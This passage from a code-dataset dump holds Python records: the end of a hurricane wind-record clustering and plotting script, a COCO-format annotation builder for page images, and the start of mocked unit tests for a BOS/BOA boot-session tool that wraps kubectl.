10.0*np.linspace(0,len(spectra[0])//2-1,len(spectra[0])//2)\n        T = 10.0*np.linspace(0,len(spectra[0])-1,len(spectra[0]))\n        \n        # plot training loss\n        loss_plot(train_loss_list[1:],print_every,'Grid'+str(gridID)+'_train_loss')\n        \n        # plot input spectral groups\n        wind_plot(np_test_inputs,T2,'Grid'+str(gridID)+'_inputs')\n        \n        # plot output {reconstructed} spectral groups\n        wind_plot(np_test_outputs,T2,'Grid'+str(gridID)+'_reconstructed_outputs')\n        \n        # plot difference from input and output\n        wind_plot_difference(np_test_inputs-np_test_outputs,T,'Grid'+str(gridID)+'_reconstruction_difference')\n        \n        # plot shilloette score and elbow graph\n        elbow_sil_graph(SSE,sil,'Grid'+str(gridID)+'_elbow_sil_graph')\n        elbow_graph(SSE,sil,'Grid'+str(gridID)+'_elbow_graph')\n        #%%\n        # Discrete_3D_scatter(test_latents_RSN,ID_dict_gt,np_latent_features,[0,1,2],'Latent Features ','Ground Truth Clusters','LF_3D_gt',num_clusters)\n        # Discrete_3D_scatter(test_latents_RSN,ID_dict_gt,principalComponents_latents,[0,1,2],'Principal Comp. ','Ground Truth Clusters','PC_3D_gt',num_clusters)\n        # Discrete_3D_scatter(test_latents_RSN,ID_dict_discovered,principalComponents_latents,[0,1,2],'Principal Comp. ','Cluster','Grid'+str(gridID)+'_PC_3D',num_clusters)\n        color_name = 'rainbow'\n        big_fig_size = (3.5,4.5)\n        \n        dictionary=ID_dict_discovered;\n        latents=principalComponents_latents;\n        latent_feature_plot=[0,1,2];\n        axis_label='Principal Comp. ';\n        cb_label='Cluster';\n        fig_name='Grid'+str(gridID)+'_PC_3D';\n        \n        new_LF = []\n        static_attribute_list = []\n        count = 0\n        # remove data without static attribute to not confuse plotting\n        for i in range(len(test_latents_RSN)): \n            try:\n                att = dictionary[int(test_latents_RSN[i])]\n            except KeyError:\n                count+= 1\n            else:\n                if len(static_attribute_list) == 0:\n                    new_LF = latents[[i]]\n                    static_attribute_list = [dictionary[int(test_latents_RSN[i])]]\n                else:  \n                    new_LF = np.append(new_LF,[latents[i]],axis = 0)\n                    static_attribute_list.append(att)\n        \n        fig = plt.figure(figsize=big_fig_size)\n        ax1 = fig.add_subplot(111,projection='3d')\n        ax1.xaxis.pane.fill = False\n        ax1.yaxis.pane.fill = False\n        ax1.zaxis.pane.fill = False\n        \n        ax1.set_xlabel(axis_label+str(latent_feature_plot[0]+1),labelpad=0.1,fontsize=fig_font_size)\n        ax1.set_ylabel(axis_label+str(latent_feature_plot[1]+1),labelpad=0.1,fontsize=fig_font_size)\n        ax1.set_zlabel(axis_label+str(latent_feature_plot[2]+1),labelpad=0.1,fontsize=fig_font_size)\n        ax1.set_xticks(np.arange(-2, 3, 1))\n        ax1.set_yticks(np.arange(-2, 3, 1))\n        ax1.set_zticks(np.arange(-2, 3, 1))\n        ax1.xaxis.set_tick_params(which='major', direction='in', pad=0.01)\n        ax1.yaxis.set_tick_params(which='major', direction='in', pad=0.01)\n        ax1.zaxis.set_tick_params(which='major', direction='in', pad=0.01)\n        \n        if num_clusters == 2:\n            p = ax1.scatter(\n                new_LF[:, latent_feature_plot[0]], new_LF[:, latent_feature_plot[1]], new_LF[:, latent_feature_plot[2]],\n                c=static_attribute_list, \n                cmap=plt.cm.get_cmap(color_name, num_clusters),vmin=0.5,vmax=num_clusters+0.5)\n        else:\n            p = ax1.scatter(\n                new_LF[:, latent_feature_plot[0]], new_LF[:, latent_feature_plot[1]], new_LF[:, latent_feature_plot[2]],\n                c=static_attribute_list, \n                cmap=plt.cm.get_cmap(color_name, num_clusters),vmin=0.5,vmax=num_clusters+0.5)\n        ax1.view_init(25, 7)\n        \n        cbar=fig.colorbar(p,ticks=range(num_clusters+1), label=cb_label,pad = 0.1, orientation = 'horizontal')\n        cbar.set_label(label=cb_label,fontsize=fig_font_size)\n          \n        plt.tight_layout()\n        plt.savefig('./'+fig_name+'.tif', transparent=False, bbox_inches='tight', dpi=400)\n        plt.show()\n        #%%\n        # for ii in range(10):\n        #     fig = plt.figure(figsize=small_fig_size)\n        #     ax = fig.add_subplot(211)\n        #     plt.rc('xtick', labelsize=fig_font_size)    # fontsize of the tick labels\n        #     plt.rc('ytick', labelsize=fig_font_size)    # fontsize of the tick labels\n        #     ax.tick_params(direction=\"in\")\n        #     line_ori,=ax.plot(T2,np_test_inputs[ii,0:len(np_test_inputs[0])//2], linewidth=plt_line_width)    \n        #     line_rec,=ax.plot(T2,np_test_outputs[ii,0:len(np_test_inputs[0])//2], linewidth=plt_line_width)\n        #     ax.legend([line_ori,line_rec],['Original','Reconstructed'],prop={'size': fig_font_size})\n        #     # ax.set_xlabel('Time (min)',fontsize=fig_font_size)\n        #     ax.set_ylabel('Wind speed in North dir. (m/s)',fontsize=fig_font_size)\n                \n        #     ax = fig.add_subplot(212)\n        #     plt.rc('xtick', labelsize=fig_font_size)    # fontsize of the tick labels\n        #     plt.rc('ytick', labelsize=fig_font_size)    # fontsize of the tick labels\n        #     ax.tick_params(direction=\"in\")\n        #     line_ori,=ax.plot(T2,np_test_inputs[ii,len(np_test_inputs[0])//2:], linewidth=plt_line_width)    \n        #     line_rec,=ax.plot(T2,np_test_outputs[ii,len(np_test_inputs[0])//2:], linewidth=plt_line_width)\n        #     ax.legend([line_ori,line_rec],['Original','Reconstructed'],prop={'size': fig_font_size})\n        #     ax.set_xlabel('Time (min)',fontsize=fig_font_size)\n        #     ax.set_ylabel('Wind speed in East dir. (m/s)',fontsize=fig_font_size)\n        #     plt.rc('xtick', labelsize=fig_font_size)    # fontsize of the tick labels\n        #     plt.rc('ytick', labelsize=fig_font_size)    # fontsize of the tick labels\n        \n        # for ii in range(10):\n        #     fig = plt.figure(figsize=small_fig_size)\n        #     ax = fig.add_axes([0, 0, 1, 1])\n        #     plt.rc('xtick', labelsize=fig_font_size)    # fontsize of the tick labels\n        #     plt.rc('ytick', labelsize=fig_font_size)    # fontsize of the tick labels\n        #     ax.tick_params(direction=\"in\")\n        #     line_err,=ax.plot(T,np_test_outputs[ii,:]-np_test_inputs[ii,:], linewidth=plt_line_width)\n        #     ax.set_xlabel('Time (min)',fontsize=fig_font_size)\n        #     ax.set_ylabel('Wind speed difference (m/s)',fontsize=fig_font_size)\n        #%% plot error\n        error=abs(np_test_inputs-np_test_outputs)\n        error=error.flatten() \n        weights = np.ones_like(error) / len(error)\n        fig = plt.figure(figsize=small_fig_size2)\n        ax = fig.add_axes([0, 0, 1, 1])\n        plt.rc('xtick', labelsize=fig_font_size)    # fontsize of the tick labels\n        plt.rc('ytick', labelsize=fig_font_size)    # fontsize of the tick labels\n        ax.tick_params(direction=\"in\")\n        (nErr, binsErr, patchesErr) = plt.hist(error, weights=weights, bins=26, facecolor=\"None\", edgecolor=\"k\")  # density=False would make counts\n        plt.ylabel('Probability',fontsize=fig_font_size)\n        plt.xlabel('Reconstruction error (m/s)',fontsize=fig_font_size);\n        ax.set_xlim(0.0, 6)\n        file_name = 'Grid'+str(gridID)+'_error_hist'\n        plt.savefig('./'+file_name+'.tif', transparent=False, bbox_inches='tight', dpi=300)                   \n        # #%% plot latent features clustered using K-means\n        # Continuous_3D_scatter(np_test_latents_RSN,ID_dict_discovered,np_latent_features,[0,1,2],'LF','LF','Grid'+str(gridID)+'_LF123')\n        # Continuous_3D_scatter(np_test_latents_RSN,ID_dict_discovered,np_latent_features,[2,3,4],'LF','LF','Grid'+str(gridID)+'_LF345')\n        \n        # #%% plot principal components clusted using k-means\n        # Continuous_3D_scatter(np_test_latents_RSN,ID_dict_discovered,principalComponents_latents,[0,1,2],'PC','Cluster','Grid'+str(gridID)+'_PC123')\n        #%% select records from each cluster based on the distance to the centroid\n        cluster_list=[[] for _ in range(num_clusters)]\n        for i in range(len(test_latents_RSN)):\n            for ii in range(num_clusters):\n                if ID_dict_discovered[int(test_latents_RSN[i])]==ii+1:\n                    cluster_list[ii].append(int(test_latents_RSN[i]))\n        \n        np_cluster_centers = cluster_centers.cpu().detach().numpy()\n        np_distances = np.zeros(shape=(len(np_latent_features),num_clusters))\n        for i in range(num_clusters):\n            for j in range(len(np_latent_features)):\n                np_distances[j,i] = np.linalg.norm(np_cluster_centers[i,:]-np_latent_features[j,:])\n        \n        clusters_distance = []\n        for i in range(num_clusters):\n            one_cluster_dist = np.zeros(shape=(len(cluster_list[i]),2))\n            for j in range(len(cluster_list[i])):\n                one_cluster_dist[j,0] = cluster_list[i][j]\n                idx = np.where(np_test_latents_RSN == cluster_list[i][j])\n                one_cluster_dist[j,1] = np_distances[idx[0][0],i]\n            one_cluster_dist_sorted = one_cluster_dist[one_cluster_dist[:, 1].argsort()]\n            clusters_distance.append(one_cluster_dist_sorted)\n            \n        cluster_list_sele=[[] for _ in range(num_clusters)]\n        for i in range(num_clusters):\n            nSele=round(len(cluster_list[i])/10)\n            for j in range(nSele):\n                cluster_list_sele[i].append(int(clusters_distance[i][j,0]))\n                \n        #%% plot wind records for different clusters\n        for i in range(num_clusters):\n            fig = plt.figure(figsize=small_fig_size)\n            ax1 = fig.add_subplot(211)\n            ax2 = fig.add_subplot(212)\n            plt.rc('xtick', labelsize=fig_font_size)    # fontsize of the tick labels\n            plt.rc('ytick', labelsize=fig_font_size)    # fontsize of the tick labels\n            ax1.tick_params(direction=\"in\")\n            ax2.tick_params(direction=\"in\")\n            for ii in cluster_list[i]:\n                if ii in cluster_list_sele[i]:\n                    line_ori,=ax1.plot(T2,spectra[ii-1,0:len(spectra[0])//2], linewidth=plt_line_width_thick)\n                else:\n                    line_ori,=ax1.plot(T2,spectra[ii-1,0:len(spectra[0])//2], linewidth=plt_line_width, linestyle='dashed')    \n                # ax1.set_xlabel('Time (min)',fontsize=fig_font_size)\n                ax1.set_ylabel('Wind speed in North dir. (m/s)',fontsize=fig_font_size)\n                \n                if ii in cluster_list_sele[i]:\n                    line_ori,=ax2.plot(T2,spectra[ii-1,len(spectra[0])//2:], linewidth=plt_line_width_thick)\n                else:\n                    line_ori,=ax2.plot(T2,spectra[ii-1,len(spectra[0])//2:], linewidth=plt_line_width, linestyle='dashed')\n                ax2.set_xlabel('Time (min)',fontsize=fig_font_size)\n                ax2.set_ylabel('Wind speed in East dir. (m/s)',fontsize=fig_font_size)\n            plt.savefig('./Grid'+str(gridID)+'Cluster'+str(i+1)+'windRecords.tif', transparent=False, bbox_inches='tight', dpi=400)\n\n        #%% plot all selected records for different clusters\n        color_list=['b','g','r','c','m','y','k','tab:brown']\n        fig = plt.figure(figsize=small_fig_size)\n        ax1 = fig.add_subplot(211)\n        ax2 = fig.add_subplot(212)\n        #ax1.set_xlim(0.0, 1500.0)\n        #ax2.set_xlim(0.0, 1500.0)\n        plt.rc('xtick', labelsize=fig_font_size)    # fontsize of the tick labels\n        plt.rc('ytick', labelsize=fig_font_size)    # fontsize of the tick labels\n        ax1.tick_params(direction=\"in\")\n        ax2.tick_params(direction=\"in\")\n        for i in range(num_clusters):\n            for ii in cluster_list_sele[i]:\n                line_ori,=ax1.plot(T2,spectra[ii-1,0:len(spectra[0])//2], linewidth=plt_line_width, color=color_list[i])    \n                # ax1.set_xlabel('Time (min)',fontsize=fig_font_size)\n                ax1.set_ylabel('Wind speed in North dir. (m/s)',fontsize=fig_font_size)\n                \n                line_ori,=ax2.plot(T2,spectra[ii-1,len(spectra[0])//2:], linewidth=plt_line_width, color=color_list[i])\n                ax2.set_xlabel('Time (min)',fontsize=fig_font_size)\n                ax2.set_ylabel('Wind speed in East dir. (m/s)',fontsize=fig_font_size)\n        plt.savefig('../seleRecordsPlot/Grid'+str(gridID)+'seleRecords.tif', transparent=False, bbox_inches='tight', dpi=400)\n        #%% save the clusters\n        # change output folder path\n        folder_path = '../windRecordsMass'\n        try:\n            os.makedirs(folder_path)\n        except:\n            pass\n        os.chdir(folder_path) # change directory \n    \n        try:\n            os.remove('clusterListGrid'+str(gridID)+'.txt')\n        except:\n            pass\n        for i in range(num_clusters):\n            with open('clusterListGrid'+str(gridID)+'.txt', 'a') as f:\n                for item in cluster_list[i]:\n                    f.write(\"%s\\t\" % item)\n                f.write(\"\\n\")\n        \n        try:\n            os.remove('clusterListSeleGrid'+str(gridID)+'.txt')\n        except:\n            pass\n        for i in range(num_clusters):\n            with open('clusterListSeleGrid'+str(gridID)+'.txt', 'a') as f:\n                for item in cluster_list_sele[i]:\n                    f.write(\"%s\\t\" % item)\n                f.write(\"\\n\")","repo_name":"xinlong-du/HurricaneClustering","sub_path":"FC_AE_2D_Mass.py","file_name":"FC_AE_2D_Mass.py","file_ext":"py","file_size_in_byte":28403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28725915701","text":"import os\nimport json\nfrom typing import List, NamedTuple, Union, Dict, Any\n\n\nclass COCOBuilder:\n    class CategoryTemplate(NamedTuple):\n        id: int\n        name: str\n        supercategory: str = None\n\n    class ImageTemplate(NamedTuple):\n        id: int\n        file_name: str\n        height: Union[float, int]\n        width: Union[float, int]\n        paper_id: int\n        page_number: int\n\n    class AnnoTemplate(NamedTuple):\n        id: int\n        bbox: List\n        image_id: int\n        category_id: int\n        area: Union[float, int]\n        iscrowd: bool = False\n\n    def __init__(\n        self, save_path: str, annotation_name: str, categories: Dict[int, str]\n    ):\n\n        self.annotation_name = annotation_name\n\n        self.save_path = save_path\n        self.save_path_image = os.path.join(save_path, \"images\")\n        if not os.path.exists(self.save_path_image):\n            os.makedirs(self.save_path_image)\n\n        self._categories = self.create_coco_categories(categories)\n        self._images = []\n        self._annotations = []\n        self.cat2id = {cat: int(idx) for idx, cat in categories.items()}\n\n    def add_annotation(\n        self, page_name: str, page_image: \"Image\", page_annotations: \"pd.DataFrame\"\n    ):\n\n        # Firstly Save the image\n        image_filename = page_name + \".jpg\"\n        if not os.path.exists(f\"{self.save_path_image}/{image_filename}\"):\n            page_image.save(f\"{self.save_path_image}/{image_filename}\")\n\n        # Save the image-level information\n        width, height = page_image.size\n        *paper_id, page_number = page_name.split(\"-\")\n        image_id = len(self._images)\n\n        self._images.append(\n            self.ImageTemplate(\n                id=image_id,\n                file_name=image_filename,\n                height=height,\n                width=width,\n                paper_id=\"-\".join(paper_id),\n                page_number=page_number,\n            )._asdict()\n        )\n\n        # Save the actual annotations\n        start_anno_id = len(self._annotations)\n        page_annotations = page_annotations.reset_index(drop=True)\n        page_annotations[\"w\"] = page_annotations[\"x_2\"] - page_annotations[\"x_1\"]\n        page_annotations[\"h\"] = page_annotations[\"y_2\"] - page_annotations[\"y_1\"]\n        page_annotations[\"area\"] = page_annotations[\"w\"] * page_annotations[\"h\"]\n        page_annotations[\"category\"] = page_annotations[\"category\"].map(self.cat2id)\n        annotations = page_annotations.apply(\n            lambda row: self.AnnoTemplate(\n                id=row.name + start_anno_id,\n                bbox=[row[\"x_1\"], row[\"y_1\"], row[\"w\"], row[\"h\"]],\n                category_id=row[\"category\"],\n                image_id=image_id,\n                area=row[\"area\"],\n            )._asdict(),\n            axis=1,\n        ).tolist()\n        self._annotations.extend(annotations)\n\n    def create_coco_categories(self, categories: Dict) -> List[Dict]:\n        return [\n            self.CategoryTemplate(int(idx), category)._asdict()\n            for idx, category in categories.items()\n        ]\n\n    def export(self):\n\n        coco_json = {\n            \"images\": self._images,\n            \"annotations\": self._annotations,\n            \"categories\": self._categories,\n        }\n\n        with open(f\"{self.save_path}/{self.annotation_name}.json\", \"w\") as fp:\n            json.dump(coco_json, fp)","repo_name":"rayfok/scim-nlp","sub_path":"scienceparseplus/tools/dataset-utils/coco.py","file_name":"coco.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"31211742008","text":"import logging\nimport math\nimport shlex\nimport subprocess\nimport unittest\nfrom argparse import Namespace\nfrom textwrap import indent\nfrom typing import Any\nfrom unittest.mock import MagicMock, Mock, call, patch\n\nfrom sat.cli.bootsys.bos import (BOSFailure, BOSLimitString, BOSSessionThread,\n                                 BOSV2SessionWaiter, boa_job_successful,\n                                 do_bos_reboots, do_bos_shutdowns,\n                                 get_session_templates)\nfrom tests.common import ExtendedTestCase\n\n\nclass TestBOAJobSuccessful(ExtendedTestCase):\n    \"\"\"Tests for whether the BOA job is successful.\"\"\"\n    def setUp(self):\n        \"\"\"Create some mocks.\"\"\"\n        self.boa_job_id = 'boa-1234567890abcdef'\n        self.boa_pods = ['{}-{}'.format(self.boa_job_id, i) for i in range(4)]\n        self.boa_pod_logs = [\n            'Starting a BOA job.',\n            'Finishing a BOA job.'\n        ]\n        self.fatal_boa_message = (\n            'Fatal conditions have been detected with this run of '\n            'Boot Orchestration that are not expected to be '\n            'recoverable through additional iterations.'\n        )\n        self.get_pod_err = None\n        self.logs_err = None\n\n        def mock_kubectl_run(cmd, **kwargs):\n            \"\"\"Mock running a kubectl command.\"\"\"\n            retval = Mock()\n\n            # This is a 'kubectl get pod' command\n            if 'get' in cmd and 'pod' in cmd:\n                if self.get_pod_err:\n                    raise self.get_pod_err\n\n                retval.stdout = '\\n'.join([\n                    '{}   0/2   Completed   0    1h'.format(boa_pod)\n                    for boa_pod in self.boa_pods\n                ])\n\n            # This is a 'kubectl logs' command\n            elif 'logs' in cmd:\n                if self.logs_err:\n                    raise self.logs_err\n\n                retval.stdout = '\\n'.join(self.boa_pod_logs)\n\n            return retval\n\n        self.mock_run = patch('subprocess.run', side_effect=mock_kubectl_run).start()\n\n    def tearDown(self):\n        \"\"\"Stop all patches.\"\"\"\n        patch.stopall()\n\n    def assert_boa_logs(self, logs):\n        \"\"\"Helper to assert boa pod lines are logged.\"\"\"\n        max_lines_to_log = 50\n        expected_log_message = (f'BOA job {self.boa_job_id} was not successful. '\n                                f'Last 50 log lines from pod {self.boa_pods[-1]}:\\n')\n        expected_log_message += indent('\\n'.join(self.boa_pod_logs[-max_lines_to_log:]), prefix='  ')\n        expected_full_log_help = f'To see full logs, run: \\'kubectl -n services logs -c boa {self.boa_pods[-1]}\\''\n        self.assert_in_element(expected_log_message, logs.output)\n        self.assert_in_element(expected_full_log_help, logs.output)\n\n    def test_successful_boa_job(self):\n        \"\"\"Test boa_job_successful on a successful BOA job.\"\"\"\n        self.assertTrue(boa_job_successful(self.boa_job_id))\n        common_kwargs = {\n            'stdout': subprocess.PIPE,\n            'stderr': subprocess.PIPE,\n            'check': True,\n            'encoding': 'utf-8'\n        }\n        self.mock_run.assert_has_calls([\n            call(shlex.split('kubectl -n services get pod --sort-by=.metadata.creationTimestamp '\n                             '--no-headers --selector job-name={}'.format(self.boa_job_id)),\n                 **common_kwargs),\n            call(shlex.split('kubectl -n services logs -c boa {}'.format(self.boa_pods[-1])),\n                 **common_kwargs)\n        ])\n\n    def test_successful_boa_job_empty_logs(self):\n        \"\"\"Test boa_job_successful with no boa pod logs.\"\"\"\n        self.boa_pod_logs = []\n        self.assertTrue(boa_job_successful(self.boa_job_id))\n\n    def test_no_boa_pods(self):\n        \"\"\"Test boa_job_successful with no matching boa pods.\"\"\"\n        self.boa_pods = []\n        with self.assertRaisesRegex(BOSFailure,\n                                    'no pods with job-name={}'.format(self.boa_job_id)):\n            boa_job_successful(self.boa_job_id)\n\n    def test_failed_boa_job(self):\n        \"\"\"Test boa_job_successful on a failed BOA job.\"\"\"\n        self.boa_pod_logs.append(self.fatal_boa_message)\n        with self.assertLogs(level=logging.ERROR) as logs:\n            self.assertFalse(boa_job_successful(self.boa_job_id))\n            self.assert_boa_logs(logs)\n\n    def test_failed_boa_job_middle_log(self):\n        \"\"\"Test boa_job_successful on a failed BOA job with log in middle.\"\"\"\n        self.boa_pod_logs.insert(1, self.fatal_boa_message)\n        with self.assertLogs(level=logging.ERROR) as logs:\n            self.assertFalse(boa_job_successful(self.boa_job_id))\n            self.assert_boa_logs(logs)\n\n    def test_failed_boa_job_many_log_lines(self):\n        \"\"\"Test boa_job_successful on a failed BOA job only logs num_lines_to_log lines\"\"\"\n        self.boa_pod_logs = ['Reindexing BOA session templates'] * 100\n        self.boa_pod_logs.append(self.fatal_boa_message)\n        with self.assertLogs(level=logging.ERROR) as logs:\n            self.assertFalse(boa_job_successful(self.boa_job_id))\n            self.assert_boa_logs(logs)\n\n    def test_kubectl_get_failure(self):\n        \"\"\"Test boa_job_successful with 'kubectl get pod' failure.\"\"\"\n        errs = [subprocess.CalledProcessError(1, 'cmd'), OSError('no such command')]\n        for err in errs:\n            with self.subTest(err=err):\n                self.get_pod_err = err\n                with self.assertRaisesRegex(BOSFailure, 'failed to find pods'):\n                    boa_job_successful(self.boa_job_id)\n\n    def test_kubectl_logs_failure(self):\n        \"\"\"Test boa_job_successful with 'kubectl logs' failure.\"\"\"\n        errs = [subprocess.CalledProcessError(1, 'cmd'), OSError('no such command')]\n        for err in errs:\n            with self.subTest(err=err):\n                self.logs_err = err\n                with self.assertRaisesRegex(BOSFailure, 'failed to get logs of pod '\n                                                        '{}'.format(self.boa_pods[-1])):\n                    boa_job_successful(self.boa_job_id)\n\n\nclass TestBOSLimitString(unittest.TestCase):\n    \"\"\"Tests for the BOSLimitString class.\"\"\"\n    def setUp(self):\n        self.blade_xname = 'x3000c0s0'\n        self.nodes_on_blade_xnames = [f'{self.blade_xname}b0n{node}' for node in range(4)]\n        self.mock_hsm_client = patch('sat.cli.bootsys.bos.HSMClient').start()\n        self.mock_get_node_components = self.mock_hsm_client.return_value.get_node_components\n        self.mock_get_node_components.return_value = [\n            {'ID': xname} for xname in self.nodes_on_blade_xnames\n        ]\n\n    def tearDown(self):\n        patch.stopall()\n\n    def test_constructing_limit_string_manually(self):\n        \"\"\"Test the constructor of the BOSLimitString class\"\"\"\n        xnames = ['x3000c0s0b0n0']\n        roles = ['Application']\n        limit_str = BOSLimitString(xnames, roles)\n\n        for xname in xnames:\n            self.assertIn(xname, str(limit_str))\n\n        for role in roles:\n            self.assertIn(role, str(limit_str))\n\n    def test_expanding_a_limit_string(self):\n        \"\"\"Test constructing a BOSLimitString non-recursively from an existing limit string\"\"\"\n        limit_str = BOSLimitString.from_string('x3000c0s0b0n0,Application', recursive=False)\n        for item in ['x3000c0s0b0n0', 'Application']:\n            self.assertIn(item, str(limit_str))\n\n        self.mock_get_node_components.assert_not_called()\n\n    def test_recursive_limit_string_expanding(self):\n        \"\"\"Test expanding a limit string to its constituent xnames\"\"\"\n        blade_xname = 'x3000c0s0'\n        limit_str = BOSLimitString.from_string(f'{blade_xname},Application', recursive=True)\n        self.mock_get_node_components.assert_called_once_with(ancestor=blade_xname)\n        for xname in self.nodes_on_blade_xnames + ['Application']:\n            self.assertIn(xname, str(limit_str))\n\n    def test_expanding_empty_component(self):\n        \"\"\"Test expanding component with no node descendants\"\"\"\n        blade_xname = 'x3000c0s0'\n        self.mock_get_node_components.return_value = []\n        with self.assertRaises(BOSFailure):\n            BOSLimitString.from_string(blade_xname, recursive=True)\n        self.mock_get_node_components.assert_called_once_with(ancestor=blade_xname)\n\n    def test_non_recursive_limit_string_with_non_node_xname(self):\n        \"\"\"Test that creating a limit string non-recursively only works with nodes\"\"\"\n        blade_xname = 'x3000c0s0'\n        with self.assertRaises(BOSFailure):\n            BOSLimitString.from_string(blade_xname, recursive=False)\n\n\nclass TestBOSV2SessionWaiter(unittest.TestCase):\n    \"\"\"Test the BOSV2SessionWaiter class.\"\"\"\n    def setUp(self):\n        self.session_id = 'abcdef-012345-678901-fdecba'\n\n        self.mock_bos_client = MagicMock()\n        self.mock_bos_client.get_session_status.return_value = {\n            'status': 'complete',\n            'managed_components_count': 10,\n            'phases': {\n                'percent_complete': 100.0,\n                'percent_powering_on': 0.0,\n                'percent_powering_off': 0.0,\n                'percent_configuring': 0.0,\n            },\n            'percent_successful': 100.0,\n            'percent_failed': 0.0,\n            'percent_staged': 0.0,\n            'error_summary': {},\n            'timing': {\n                'duration': '0:01:00',\n                'end_time': '2022-01-01T00:00:00',\n                'start_time': '2022-01-01T00:01:00',\n            },\n        }\n        patch('sat.cli.bootsys.bos.BOSClientCommon.get_bos_client', return_value=self.mock_bos_client).start()\n\n        self.mock_session_thread = MagicMock(session_id=self.session_id)\n        self.mock_session_thread.stopped.return_value = False\n\n        self.waiter = BOSV2SessionWaiter(self.mock_session_thread, timeout=math.inf)\n\n    def tearDown(self):\n        patch.stopall()\n\n    def test_session_is_completed(self):\n        \"\"\"Test that the waiter detects a completed session\"\"\"\n        self.assertTrue(self.waiter.has_completed())\n\n    def test_session_not_completed(self):\n        \"\"\"Test that the waiter detects a session that has not completed yet\"\"\"\n        self.mock_bos_client.get_session_status.return_value.update({\n            'status': 'running',\n            'phases': {\n                'percent_complete': 50.0,\n                'percent_powering_on': 20.0,\n                'percent_powering_off': 0.0,\n                'percent_configuring': 30.0,\n            },\n            'percent_successful': 50.0,\n        })\n        self.assertFalse(self.waiter.has_completed())\n\n    def test_session_failed(self):\n        \"\"\"Test that the waiter detects when a session has failed\"\"\"\n        self.mock_bos_client.get_session_status.return_value.update({\n            'status': 'running',\n            'phases': {\n                'percent_complete': 50.0,\n                'percent_powering_on': 20.0,\n                'percent_powering_off': 0.0,\n                'percent_configuring': 30.0,\n            },\n            'percent_successful': 50.0,\n            'percent_failed': 50.0,\n        })\n        self.assertFalse(self.waiter.has_completed())\n\n    def test_session_superseded(self):\n        \"\"\"Test when the waiter's session has its managed components taken by another session\"\"\"\n        self.mock_bos_client.get_session_status.return_value.update({\n            'status': 'complete',\n            'managed_components_count': 0,\n            'phases': {\n                'percent_complete': 0,\n                'percent_powering_on': 0,\n                'percent_powering_off': 0,\n                'percent_configuring': 0,\n            },\n            'percent_successful': 0,\n            'percent_failed': 0,\n        })\n        with self.assertLogs(level='INFO'):\n            self.assertTrue(self.waiter.has_completed())\n\n    def test_staged_session_not_complete(self):\n        \"\"\"Test that a staged session still in pending state is not complete\"\"\"\n        self.mock_bos_client.get_session_status.return_value.update({\n            'status': 'pending',\n            'managed_components_count': 0,\n            'phases': {\n                'percent_complete': 0,\n                'percent_powering_on': 0,\n                'percent_powering_off': 0,\n                'percent_configuring': 0,\n            },\n            'percent_successful': 0,\n            'percent_failed': 0,\n        })\n        staged_waiter = BOSV2SessionWaiter(self.mock_session_thread, ['running', 'complete'],\n                                           timeout=math.inf)\n\n        self.assertFalse(staged_waiter.has_completed())\n\n    def test_staged_session_running_complete(self):\n        \"\"\"Test that a staged session that has reached running state is complete.\"\"\"\n        self.mock_bos_client.get_session_status.return_value.update({\n            'status': 'running',\n            'managed_components_count': 10,\n            'phases': {\n                'percent_complete': 0,\n                'percent_powering_on': 0,\n                'percent_powering_off': 0,\n                'percent_configuring': 0,\n            },\n            'percent_successful': 0,\n            'percent_failed': 0,\n        })\n        staged_waiter = BOSV2SessionWaiter(self.mock_session_thread, ['running', 'complete'],\n                                           timeout=math.inf)\n\n        self.assertTrue(staged_waiter.has_completed())\n\n    def test_staged_session_empty_complete(self):\n        \"\"\"Test that a staged session with empty components in complete state is complete.\"\"\"\n        self.mock_bos_client.get_session_status.return_value.update({\n            'status': 'complete',\n            'managed_components_count': 0,\n            'phases': {\n                'percent_complete': 0,\n                'percent_powering_on': 0,\n                'percent_powering_off': 0,\n                'percent_configuring': 0,\n            },\n            'percent_successful': 0,\n            'percent_failed': 0,\n        })\n        staged_waiter = BOSV2SessionWaiter(self.mock_session_thread, ['running', 'complete'],\n                                           timeout=math.inf)\n\n        with self.assertLogs(level='INFO'):\n            self.assertTrue(staged_waiter.has_completed())\n\n\nclass TestBOSSessionThread(unittest.TestCase):\n    \"\"\"Test the BOSSessionThread class.\"\"\"\n\n    def setUp(self):\n        \"\"\"Set up some mocks.\"\"\"\n        self.mock_bos_client = Mock()\n        patch('sat.cli.bootsys.bos.BOSClientCommon.get_bos_client', return_value=self.mock_bos_client).start()\n        patch('sat.cli.bootsys.bos.SATSession').start()\n        self.mock_get_config_value = patch('sat.cli.bootsys.bos.get_config_value').start()\n\n        self.mock_session_id = '0123456789abcdef'\n        self.mock_create_response = {\n            'operation': 'boot',  # Not used, doesn't have to match\n            'templateUuid': 'template_uuid',  # Not used, doesn't have to match\n            'links': [\n                {\n                    'href': f'v1/session/{self.mock_session_id}',\n                    'jobId': f'boa-{self.mock_session_id}',\n                    'rel': 'session',\n                    'type': 'GET'\n                }\n            ]\n        }\n        self.mock_bos_client.create_session.return_value.json.return_value = self.mock_create_response\n\n        self.mock_check_interval = patch(\n            'sat.cli.bootsys.bos.PARALLEL_CHECK_INTERVAL', 3).start()\n\n        self.mock_subprocess_run = patch('sat.cli.bootsys.bos.subprocess.run').start()\n        # Possible return values from subprocess.run()\n        self.error_response = Mock()\n        self.error_response.returncode = 1\n        self.error_response.stderr = 'timed out waiting for jobs/my-job'\n        self.finished_response = Mock()\n        self.finished_response.returncode = 0\n        patch('sat.cli.bootsys.bos.sleep').start()\n\n    def tearDown(self):\n        \"\"\"Stop all patches.\"\"\"\n        patch.stopall()\n\n    def test_init(self):\n        \"\"\"Test creation of a BOSSessionThread.\"\"\"\n        session_template = 'cle-1.3.0'\n        operation = 'shutdown'\n\n        bos_thread = BOSSessionThread(session_template, operation)\n\n        self.assertEqual(session_template, bos_thread.session_template)\n        self.assertEqual(operation, bos_thread.operation)\n        self.assertEqual(False, bos_thread.complete)\n        self.assertEqual(False, bos_thread.failed)\n        self.assertEqual('', bos_thread.fail_msg)\n        self.assertEqual(None, bos_thread.session_id)\n        self.assertEqual(None, bos_thread.boa_job_id)\n        self.assertEqual(3, bos_thread.max_consec_fails)\n        self.assertEqual(0, bos_thread.consec_stat_fails)\n        self.assertEqual(self.mock_check_interval, bos_thread.check_interval)\n        self.assertFalse(bos_thread.stopped())\n\n    def test_stop(self):\n        \"\"\"Test stop method of BOSSessionThread.\"\"\"\n        bos_thread = 